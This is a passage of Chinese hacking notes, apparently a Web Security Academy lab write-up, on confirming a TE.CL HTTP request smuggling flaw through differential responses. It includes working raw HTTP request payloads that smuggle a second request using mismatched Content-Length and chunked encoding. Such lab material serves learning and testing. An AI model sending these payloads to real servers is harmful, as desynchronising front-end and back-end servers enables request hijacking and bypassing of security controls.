> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/te-cl-vulnerability-confirmation-via-differential-responses.md).
# 通过差异响应确认 TE.CL 漏洞
### HTTP 请求走私，通过差异响应确认 TE.CL 漏洞
该 **前端** 服务器接受分块编码，而 **后端** 不支持它。/ 目标是向内部服务器注入一个被遮蔽的查询，然后向 **/** 以触发一个响应 **404 未找到**，从而确认了去同步。
尽管应用允许使用 HTTP/2，但可利用的技术完全依赖于 **HTTP/1**特定的行为，这需要在 Burp Repeater 中手动更改协议。
#### **TE.CL 原理**
为了测试是否存在漏洞 **TE.CL**，与长度相关的字段会被操纵。/ 通过故意定义一个 **更大的 Content-Length** 大于实际正文大小，就会强制产生两个服务器解释不同的偏移。/ 例如，一个实际上为 13 字节的分块正文可以声明为：
```http
Content-Length: 15
3
abc
0
```
这足以导致去同步。
#### **分块十六进制编码**
以下片段大小应以十六进制计算：
```http
POST /error HTTP/1.1
测试：A
```
首次尝试是仅发送分块大小（4 字节）：
```http
POST / HTTP/1.1
Host: 0a69009304fd3c94803ed515004500a5.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4
1d
POST /error HTTP/1.1
测试：A
0
```
然而，服务器不会将此版本视为两个独立请求，因此无法正常工作。
为了实现可靠的行为，后端必须将注入的请求解释为有效的 HTTP 请求。/ 字段 **Content-Length** 在发送更大的分块时会被“膨胀”：
```http
POST / HTTP/1.1
Host: 0a69009304fd3c94803ed515004500a5.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4
38
POST /error HTTP/1.1
Content-Length: 20
testing=test
0
```
通过发送此请求 **两次**，就会发生去同步，攻击按预期奏效。
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